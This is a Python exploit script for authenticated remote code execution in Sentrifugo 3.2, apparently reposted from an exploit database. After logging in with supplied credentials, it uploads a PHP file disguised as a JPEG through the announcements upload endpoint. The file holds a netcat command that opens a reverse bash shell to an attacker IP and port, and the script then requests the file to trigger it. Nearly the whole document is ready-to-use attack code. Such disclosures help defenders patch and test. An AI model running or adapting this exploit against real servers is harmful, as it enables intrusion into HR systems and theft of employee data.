Exploit for Sentrifugo 3.2 Remote Code Execution

## https://sploitus.com/exploit?id=PACKETSTORM:159926
# Exploit Title: Sentrifugo Version 3.2 - 'announcements' Remote Code Execution (Authenticated)  
# Google Dork: N/A  
# Date: 2020.10.06  
# Exploit Author: Fatih Çelik  
# Vendor Homepage: https://sourceforge.net/projects/sentrifugo/  
# Software Link: https://sourceforge.net/projects/sentrifugo/  
# Blog: https://fatihhcelik.blogspot.com/2020/10/sentrifugo-version-32-rce-authenticated.html  
# Version: 3.2  
# Tested on: Kali Linux 2020.2  
# CVE : N/A  
  
import requests  
from bs4 import BeautifulSoup  
from ast import literal_eval  
  
'''  
You should change the below hardcoded inputs to get a reverse shell.  
'''  
  
login_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/index/loginpopupsave"  
upload_url = "http://XXX.XXX.XXX.XXX/sentrifugo/index.php/announcements/uploadsave"  
call_shell = "http://XXX.XXX.XXX.XXX/sentrifugo/public/uploads/ca_temp/"  
username = "xxx"  
password = "xxx"  
  
attacker_ip = "XXX.XXX.XXX.XXX"  
listener_port = "4444"  
  
# Set proxy for debugging purposes  
  
proxy = {"http": "http://XXX.XXX.XXX.XXX:8080"}  
  
# Log in to the system  
  
session = requests.Session()  
request = session.get(login_url)  
body = {"username":username,"password":password}  
# session.post(login_url, data=body, proxies=proxy)   
session.post(login_url, data=body) # Send a request without proxy  
print("Logged in to the application..")  
  
# Upload the PHP shell  
files = [  
('myfile',   
('shell.php',  
'<?php system(\'nc.traditional {} {} -e /bin/bash\'); ?>'.format(attacker_ip,listener_port),  
'image/jpeg')  
)  
]  
# r = session.post(upload_url, files=files, proxies=proxy)  
r = session.post(upload_url, files=files) # Send a request without proxy  
response = r.content  
dict_str = response.decode("UTF-8")  
response = literal_eval(dict_str) # Convert bytes to dictionary  
filename = response["filedata"]["new_name"]  
url = call_shell + filename  
print("PHP file is uploaded --> {}".format(url))  
  
# Trigger the shell  
  
session.get(url)